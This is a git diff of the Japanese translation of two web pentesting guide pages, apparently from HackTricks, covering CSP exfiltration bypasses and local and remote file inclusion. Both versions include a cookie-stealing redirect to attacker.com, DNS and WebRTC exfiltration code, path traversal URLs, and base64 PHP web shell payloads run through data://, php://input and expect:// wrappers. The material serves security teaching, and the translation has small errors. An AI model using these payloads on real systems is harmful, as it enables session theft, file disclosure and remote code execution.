writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) では **HTML injection** によって **CSP** をさらに **restrict** でき、CSTI を防ぐスクリプトが無効化されたため、結果として **vulnerability became exploitable.**\ -CSP は **HTML meta tags** を使ってさらに制限的にでき、inline scripts はそれらの **nonce** を許可する **entry** を **removing** して無効化でき、また **enable specific inline script via sha** により特定のインラインスクリプトを有効化できる: +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)では、**HTML injection**を介して**CSP**をさらに制限できたため、CSTIを防ぐスクリプトが無効化され、したがって**vulnerability became exploitable.**\ +CSPは**HTML meta tags**を使用してより厳格に設定でき、inline scriptsはそれらの**nonce**を許可する**entry**を**removing**することで無効化でき、**sha**を使って特定のinline scriptを有効にすることができます: ```html ``` -### JS exfiltration with Content-Security-Policy-Report-Only +### Content-Security-Policy-Report-Only を使った JS exfiltration -サーバーがヘッダ **`Content-Security-Policy-Report-Only`** を(CRLFなどで)あなたが制御する**値**で返すようにできれば、レポート先をあなたのサーバーに向けることができます。さらに、漏洩させたい**JS content**を**``の中に**embed**することができます。なお、この**script**は**'self'によってallowed**されているため**loaded**されます。さらに、WordPressがインストールされているため、攻撃者は**vulnerable**な**callback**endpointを介して**SOME attack**を悪用し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりする可能性があります...\ -詳細な実行手順については [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) を参照してください。 +攻撃者はそのエンドポイントを悪用してWordPressに対する**SOME attackを生成**し、`` の中に**embed**することができます。なおこの**script**は**'self' によって許可されている**ため**loaded**されます。さらに、WordPressがインストールされているため、攻撃者は脆弱な**callback**エンドポイントを通じて**SOME attack**を悪用し、**bypasses the CSP**してユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりする可能性があります...\ +この攻撃の実行方法の詳細については次を参照してください: [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) -## CSP Exfiltration Bypasses +## CSP 情報持ち出しバイパス -厳格なCSPが**外部サーバーとやり取りする**ことを許可していない場合でも、情報をエクスフィルトレーションするために常に可能ないくつかの手段があります。 +厳格なCSPにより**外部サーバーとやり取りする**ことが許可されていない場合でも、情報を持ち出すために常にできることがいくつかあります。 ### Location -単純にlocationを更新して、秘密情報を攻撃者のサーバーへ送信することができます: +単純にlocationを更新して、秘密情報を攻撃者のサーバーに送ることができます: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -meta tagを注入してリダイレクトできます(これは単なるリダイレクトで、コンテンツを leak しません) +meta tagを注入してリダイレクトできます(これは単なるリダイレクトで、コンテンツをleakすることはありません) ```html ``` ### DNS Prefetch -ページの読み込みを高速化するため、ブラウザはホスト名を事前に解決してIPアドレスに変換し、後で使用するためにキャッシュします。\ -ブラウザにホスト名を事前解決するよう指示するには: `` +ページをより速く読み込むため、ブラウザはホスト名を事前に解決してIPアドレスに変換し、後で使用するためにキャッシュします。\ +ブラウザにホスト名を事前解決させるには: `` -この挙動を悪用して、**exfiltrate sensitive information via DNS requests**: +この挙動を悪用して **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -693,7 +694,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -これが発生するのを回避するために、サーバーは次のHTTPヘッダーを送信できます: +このような事態を防ぐために、サーバーは次の HTTP header を送信できます: ``` X-DNS-Prefetch-Control: off ``` @@ -702,9 +703,9 @@ X-DNS-Prefetch-Control: off ### WebRTC -いくつかのページには、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と書かれています。 +いくつかのページでは、**WebRTCがCSPの`connect-src`ポリシーをチェックしない**と書かれています。 -実際には、_DNS request_ を使って情報を _leak_ できます。以下のコードを確認してください: +実際には、_DNS request_ を使って情報を _leak_ することができます。以下のコードを見てください: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -712,7 +713,7 @@ p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` -別の選択肢: +別のオプション: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ @@ -726,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -credential popup はページによる制限を受けずに iconURL に対して DNS リクエストを送信します。これは secure context (HTTPS) または localhost 上でのみ動作します。 +資格情報ポップアップは、ページによって制限されることなくiconURLに対してDNSリクエストを送信します。これは安全なコンテキスト(HTTPS)またはlocalhost上でのみ動作します。 ```javascript navigator.credentials.store( new FederatedCredential({ @@ -739,14 +740,14 @@ iconURL:"https:"+your_data+"example.com" ``` ## CSPポリシーをオンラインで確認 -- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/) +- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## CSPの自動生成 [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## 参考資料 +## 参考文献 - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) @@ -759,4 +760,5 @@ iconURL:"https:"+your_data+"example.com" - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 2e55a0c63..0d3177293 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,14 +4,14 @@ ## File Inclusion -**Remote File Inclusion (RFI):** リモートサーバーからファイルが読み込まれます(強力: 自分でコードを書き、サーバー上で実行させることができます)。phpではこれはデフォルトで**無効**になっています(**allow_url_include**)。\ -**Local File Inclusion (LFI):** サーバーがローカルのファイルを読み込みます。 +**Remote File Inclusion (RFI):** ファイルがリモート server から読み込まれる(ベスト: あなたがコードを書き、その server が実行する)。php ではこれはデフォルトで **無効** です(**allow_url_include**)。\ +**Local File Inclusion (LFI):** sever がローカルファイルを読み込む。 -この脆弱性は、ユーザーがサーバーが読み込むファイルを何らかの形で制御できる場合に発生します。 +この脆弱性は、ユーザーが何らかの方法で server によって読み込まれるファイルを制御できる場合に発生する。 -脆弱になりやすい **PHP 関数**: require, require_once, include, include_once +脆弱な PHP 関数: require, require_once, include, include_once -この脆弱性を悪用する便利なツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**いくつかの *nix LFI リストを組み合わせ、さらにパスを追加して作成したものです:** +**いくつかの \*nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -また、`/` を `\` に変更してみてください\. -また、`../../../../../` を追加してみてください +また `/` を `\`\ に変更してみてください\ +また `../../../../../` を追加してみてください -脆弱性の有無を確認するために /etc/password ファイルを見つけるいくつかのテクニックを使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります +/ etc /password ファイルを見つけるために複数の手法を使っているリスト(脆弱性の存在を確認するため)は [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります ### **Windows** -異なる wordlists のマージ: +異なるワードリストのマージ: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -また、`/` を `\` に変更してみてください\. -また、`C:/` を削除して `../../../../../` を追加してみてください +また `/` を `\`\ に変更してみてください\ +`C:/` を削除して `../../../../../` を追加してみてください -脆弱性の有無を確認するために /boot.ini ファイルを見つけるいくつかのテクニックを使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります +/boot.ini ファイルを見つけるために複数の手法を使っているリスト(脆弱性の存在を確認するため)は [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります ### **OS X** -linux の LFI リストを確認してください。 +Linux の LFI リストを参照してください。 ## Basic LFI and bypasses -All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). +以下の例はすべて Local File Inclusion 向けですが、Remote File Inclusion にも適用できます (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### トラバーサルシーケンスが非再帰的に除去される +### traversal sequences が非再帰的に削除される ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -提供された文字列の末尾に余分な文字が追加される処理をBypassする(bypass of: $\_GET\['param']."php") +提供された文字列の末尾に追加される余分な文字をBypassする (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` これは **PHP 5.4 以降で修正されています** -### **Encoding** +### **エンコーディング** -double URL encode (and others) のような非標準のエンコーディングを使用できます: +非標準のエンコーディング(double URL encode など)を使用できます: ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### 既存フォルダから +### 既存のフォルダから -おそらくバックエンドがフォルダパスをチェックしている: +もしかすると back-end がフォルダのパスをチェックしている: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### サーバー上のファイルシステムディレクトリの探索 -サーバーのファイルシステムは、特定の手法を用いることでファイルだけでなくディレクトリを再帰的に探索できます。このプロセスはディレクトリの深さを特定し、特定のフォルダの存在を確認することを含みます。以下はこれを実現するための詳細な方法です: +サーバーのファイルシステムは、特定の手法を用いて再帰的に探索し、ファイルだけでなくディレクトリを特定できます。このプロセスでは、ディレクトリの深さを把握し、特定のフォルダの存在を確認します。以下はその詳細な方法です: -1. **Determine Directory Depth:** 現在のディレクトリの深さは、`/etc/passwd` ファイルを正常に取得することで判定します(サーバーが Linux ベースの場合に適用)。例として、深さが3であることを示す URL は次のように構成される場合があります: +1. **ディレクトリの深さを特定する:** 成功裏に `/etc/passwd` を取得することで、現在のディレクトリの深さを特定します(サーバーが Linux ベースの場合に適用)。以下は深さが三であることを示す例のURL構造です: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **フォルダの探索:** 疑わしいフォルダ名(例: `private`)をURLに追加し、次に`/etc/passwd`に戻ってアクセスします。追加のディレクトリレベルにより、depthを1つ増やす必要があります: +2. **フォルダを調査する:** URLに疑わしいフォルダ名(例:`private`)を追加してから、`/etc/passwd` に戻ってアクセスします。追加のディレクトリ階層があるため、depthを1つ増やす必要があります: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **結果の解釈:** サーバーのレスポンスはフォルダが存在するかどうかを示します: -- **エラー / 出力なし:** 指定した場所にフォルダ `private` は存在しない可能性が高い。 -- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されます。 -4. **再帰的な探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調べることができます。 +3. **結果の解釈:** サーバーの応答によりフォルダが存在するかどうかがわかります: +- **Error / No Output:** 指定された場所に `private` フォルダが存在しない可能性が高いです。 +- **Contents of `/etc/passwd`:** `private` フォルダの存在が確認されます。 +4. **Recursive Exploration:** 発見したフォルダは、同じ手法または従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調査できます。 -ファイルシステムの異なる場所にあるディレクトリを調べるには、ペイロードを適宜調整してください。例えば、カレントディレクトリの深さが3であると仮定して、`/var/www/` に `private` ディレクトリが含まれているか確認するには: +ファイルシステム内の別の場所にあるディレクトリを探索するには、payload を適宜調整してください。例えば、カレントディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリがあるか確認するには: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncationは、ウェブアプリケーションにおけるfile pathsを操作するために用いられる手法です。file pathsの末尾に追加文字を付加するようなセキュリティ対策を回避してrestricted filesにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後でも依然として目的のファイルを指すfile pathを作成することです。 +Path truncationは、ウェブアプリケーションのファイルパスを操作するために用いられる手法です。通常、ファイルパスの末尾に追加の文字を付け加えるセキュリティ対策をバイパスして、制限されたファイルにアクセスするために使われます。目的は、セキュリティ対策によって変更されたとしても、依然として目的のファイルを指すファイルパスを作成することです。 -In PHPでは、ファイルシステムの性質上、file pathのさまざまな表現が同一とみなされることがあります。例えば: +In PHPでは、ファイルシステムの性質上、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` はすべて同じpathとして扱われます。 -- 最後の6文字が `passwd` の場合、末尾に `/` を付けて `passwd/` にしても対象ファイルは変わりません。 -- 同様に、file pathに `.php` が付加される(例: `shellcode.php`)場合でも、末尾に `/.` を追加してもアクセスされるファイルは変わりません。 +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- 末尾の6文字が `passwd` の場合、末尾に `/` を追加して `passwd/` にしても対象ファイルは変わりません。 +- 同様に、ファイルパスに `.php` が付いている場合(例:`shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。 -以下の例は、path truncationを利用して `/etc/passwd` にアクセスする方法を示しています。これは機微な内容(ユーザーアカウント情報)を含むため一般的なターゲットです: +以下の例は、機密情報(ユーザーアカウント情報)を含む一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,11 +125,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -これらのシナリオでは、必要な traversals の回数は約2027 回になることがありますが、この数はサーバーの設定によって変動します。 +In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と余分なドットセグメントや文字を組み合わせることでファイルシステムを移動でき、サーバーによって付加された文字列を実質的に無視できます。 -- **Determining the Required Number of Traversals**: 試行錯誤によって、ルートディレクトリに移動してから `/etc/passwd` に到達するのに必要な正確な `../` の数を見つけることができ、`.php` のような付加文字列が無効化されても目的のパス (`/etc/passwd`) は保持されるようにします。 -- **Starting with a Fake Directory**: パスの先頭に存在しないディレクトリ(例: `a/`)を置くのは一般的な慣習です。この手法は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使われます。 +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加の dot segments や文字を組み合わせることで、ファイルシステムを移動し、サーバーによって付加された文字列を事実上無視できます。 +- **Determining the Required Number of Traversals**: 試行錯誤により、root directory まで、そして `/etc/passwd` へ辿るために必要な正確な `../` シーケンスの数を見つけることができ、`.php` のような付加文字列を無効化しつつ目的のパス(`/etc/passwd`)を維持できます。 +- **Starting with a Fake Directory**: パスを非存在ディレクトリ(例: `a/`)で始めるのは一般的な手法です。このテクニックは予防措置として、またはサーバーの path parsing ロジックの要件を満たすために使われます。 When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -phpではデフォルトで無効になっています。これは **`allow_url_include`** が **Off.** のためです。動作させるには **On** にする必要があり、その場合は自分のサーバーからPHPファイルをincludeしてRCEを得ることができます: +phpでは、デフォルトで無効になっています。これは **`allow_url_include`** が **Off** になっているためです。動作させるには **On** にする必要があり、その場合、サーバー上の PHP ファイルを include して RCE を得ることができます: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、たとえば data protocol with base64 を使って b64 PHP コードをデコードし、RCE を取得できます: +もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **filtering** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えば base64 を使った data プロトコルで b64 PHP コードをデコードして RCE を得ることができます: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としたため追加されました。文字列はそれで終わり、b64 decode の後、その部分は単なるジャンクを返し、実際の PHP コードが含まれて(したがって実行され)ます。 +> 前のコードでは、末尾の `+.txt` は attacker が `.txt` で終わる文字列を必要としていたため追加されました。したがって文字列はそれで終わり、b64 デコード後その部分はただのゴミを返し、本当の PHP コードがインクルードされ(したがって実行され)ます。 -別の例 **`php://` プロトコルを使用しない** は次のようになります: +別の例 **not using the `php://` protocol** は次の通りです: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python のルート要素 -次のような python コードでは: +Pythonでは、次のようなコードの場合: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -ユーザーが **絶対パス** を **`file_name`** に渡した場合、**以前のパスは単に削除されます**: +ユーザーが **absolute path** を **`file_name`** に渡した場合、**以前のパスは単に削除されます**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -これは[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図した挙動です: +これは [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された動作です: -> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合は絶対パスのコンポーネントから続行されます。 +> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合は絶対パスのコンポーネントから継続されます。 ## Java ディレクトリ一覧 -JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリを要求した場合**、**ディレクトリの一覧が返される**ようです。他の言語では(私の知る限り)これは起きないでしょう。 +JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。他の言語では発生しないようです(私の知る限り)。 ## トップ25のパラメータ -以下はlocal file inclusion (LFI) 脆弱性の影響を受ける可能性のあるトップ25のパラメータの一覧です(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)): +local file inclusion (LFI) 脆弱性の影響を受ける可能性があるトップ25のパラメータのリストは以下の通りです(出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリ ?mod={payload} ?conf={payload} ``` -## LFI / RFI using PHP wrappers & protocols +## LFI / RFI — PHP ラッパーとプロトコルの利用 ### php://filter -PHP filters は、データが読み込まれる前や書き込まれる前に、データに対して基本的な **変更操作** を行うことを可能にします。フィルタは5つのカテゴリに分かれます: +PHP filters は、データが読み込まれたり書き込まれたりする前に、基本的な **データに対する変更操作** を行うことを可能にします。フィルターは5つのカテゴリに分類されます: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: データからタグを削除します("<" と ">" の間のすべての文字) +- `string.strip_tags`: データからタグを除去します("<" と ">" の間のすべて) - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。サポートされている**全てのエンコーディングの一覧**を取得するにはコンソールで次を実行してください: `iconv -l` +- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv..`)。サポートされている**すべてのエンコーディングの一覧**を得るにはコンソールで次を実行します: `iconv -l` > [!WARNING] -> `convert.iconv.*` の変換フィルタを悪用すると **任意のテキストを生成できる** ため、任意のテキストを書き込んだり include のような関数に任意テキストを処理させるのに役立ちます。詳細は [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。 +> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: コンテンツを圧縮します(大量の情報を exfiltrate する際に便利) -- `zlib.inflate`: データを展開します +- `zlib.deflate`: コンテンツを圧縮します(大量の情報を exfiltrating する場合に有用) +- `zlib.inflate`: データを解凍します - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : 非推奨 - `mdecrypt.*` : 非推奨 - Other Filters -- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルタ**が見つかります: +- PHP で `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**が見つかります: - `consumed` -- `dechunk`: HTTP の chunked エンコーディングを元に戻します +- `dechunk`: HTTP chunked encoding を解除します - `convert.*` ```php # String Filters @@ -271,38 +271,38 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> 部分 "php://filter" は大文字小文字を区別しません +> 「php://filter」部分は大文字小文字を区別しません -### php filters を oracle として任意のファイルを読むために使う方法 +### 任意のファイルを読み取るために php filters を oracle として使用する -[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状況でもローカルファイルを読む手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として利用することに基づいています。これは php filters を使ってテキストを十分に大きくし、php に例外を投げさせることができるためです。 +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状態でローカルファイルを読み取る手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として用いることに基づいています。これは、php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。 -オリジナルの投稿には手法の詳細な説明がありますが、ここでは簡単な要約を示します: +元の記事には手法の詳細な説明がありますが、ここでは簡単に要約します: -- コーデック **`UCS-4LE`** を使ってテキストの先頭文字を先頭に残し、文字列のサイズを指数的に増やす。 -- これにより、先頭文字が正しく推測されたときに php が **エラー** を引き起こすほど巨大なテキストを生成できる。 -- **dechunk** フィルタは **最初の文字が16進数でない場合にすべてを削除する** ので、最初の文字が hex かどうかを判別できる。 -- これと前述の手法(および推測した文字に応じた他のフィルタ)を組み合わせることで、十分な変換を行って最初の文字が16進数でなくなるタイミングを見て、先頭の文字を当てることができる。もし16進数であれば dechunk は削除せず、初期の爆発(initial bomb)がphpエラーを発生させるためである。 -- コーデック **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換する(このコーデック適用後: a -> b)。これにより、例えば先頭文字が `a` かどうかを判別できる。なぜならこのコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数文字ではなくなるため dechunk が削除せず、initial bomb と掛け合わせて php エラーが発生するからである。 -- rot13 のような他の変換を最初に使うことで、n, o, p, q, r のような別の文字を leak することが可能(他の codecs を使って別の文字を hex 範囲に移動させることもできる)。 -- 最初の文字が数字の場合は base64 エンコードして、その数字を leak するために最初の2文字を取得する必要がある。 -- 最後の問題は、**how to leak more than the initial letter** を考えることである。order memory filters(例: **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**)を使うと文字の順序を変更でき、テキストの他の文字を先頭位置に持ってくることが可能になる。 -- さらにデータを取得できるようにするためのアイデアは、まず **convert.iconv.UTF16.UTF16** で先頭に2バイトのジャンクデータを生成し、**UCS-4LE** を適用して次の2バイトと **pivot** させ、そして d**elete the data until the junk data**(これにより元のテキストの最初の2バイトが削除される)を行う、というものです。これを目的のビットが leak されるまで繰り返す。 +- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. +- これにより、先頭文字が正しく推測された場合に php が **error** を引き起こすほど巨大なテキストが生成される。 +- フィルタ **dechunk** は **先頭文字が16進数でない場合、すべてを削除する** ため、先頭文字が16進数かどうかを判定できる。 +- これと前述の手法(および推測した文字に応じた他のフィルタ)を組み合わせることで、十分な変換を行ったときに先頭文字が16進数でなくなるタイミングを見て、テキストの先頭の文字を推測できる。もし16進数であれば dechunk は削除せず、初期のボムにより php がエラーになるからである。 +- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. +- 先頭で **rot13** のような他の変換を使うことで、n, o, p, q, r のような他の文字を leak することが可能(また他の codecs を使って別の文字を16進数の範囲へ移動させることもできる)。 +- 先頭文字が数字の場合は base64 エンコードして、数字を leak するために最初の2文字を leak する必要がある。 +- 最後の問題は **最初の文字以上をどのように leak するか** である。**convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** のような順序を入れ替えるフィルタを使うことで、文字の順序を変更してテキストの別の文字を先頭に持ってくることが可能となる。 +- さらにデータを取得するためのアイデアは、先頭に **2バイトのゴミデータを生成する**(**convert.iconv.UTF16.UTF16** を使用)、次に **UCS-4LE** を適用してそれを次の2バイトと pivot させ、ゴミデータに達するまでデータを削除する(これにより初期テキストの最初の2バイトが削除される)。これを必要なビットを leak するまで繰り返す。 -投稿ではこの処理を自動化するツールも leaked されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +投稿ではこの処理を自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -この wrapper により、プロセスが開いている file descriptors にアクセスできます。開かれているファイルの内容を exfiltrate するのに潜在的に有用です: +This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -また、**php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスできます(攻撃でどう役立つかは不明です) +また、**php://stdin, php://stdout and php://stderr** を使用して、それぞれ **file descriptors 0, 1 and 2** にアクセスできます(攻撃でどのように役立つかは不明です) ### zip:// and rar:// -PHPShell を含む Zip または Rar ファイルをアップロードしてアクセスできます。\ +PHPShell を含む Zip または Rar ファイルをアップロードしてアクセスします.\ rar protocol を悪用できるようにするには、**明示的に有効化する必要があります**。 ```bash echo "
" > payload.php; @@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -このプロトコルは php の設定 **`allow_url_open`** および **`allow_url_include`** によって制限されることに注意してください。 +Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`** ### expect:// -Expect を有効にする必要があります。次のようにコードを実行できます: +Expect を有効にする必要があります。次のようにしてコードを実行できます: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -POSTパラメータにペイロードを指定してください: +POSTパラメータにpayloadを指定してください: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -`.phar` ファイルは、Webアプリケーションがファイル読み込みに `include` のような関数を利用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは `.phar` ファイルの作成を示します: +`.phar` ファイルは、Webアプリケーションがファイル読み込みに `include` のような関数を使用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは `.phar` ファイルの作成方法を示しています: ```php stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -実行すると `test.phar` というファイルが作成され、Local File Inclusion (LFI) の脆弱性を悪用するために利用される可能性があります。 +実行すると `test.phar` 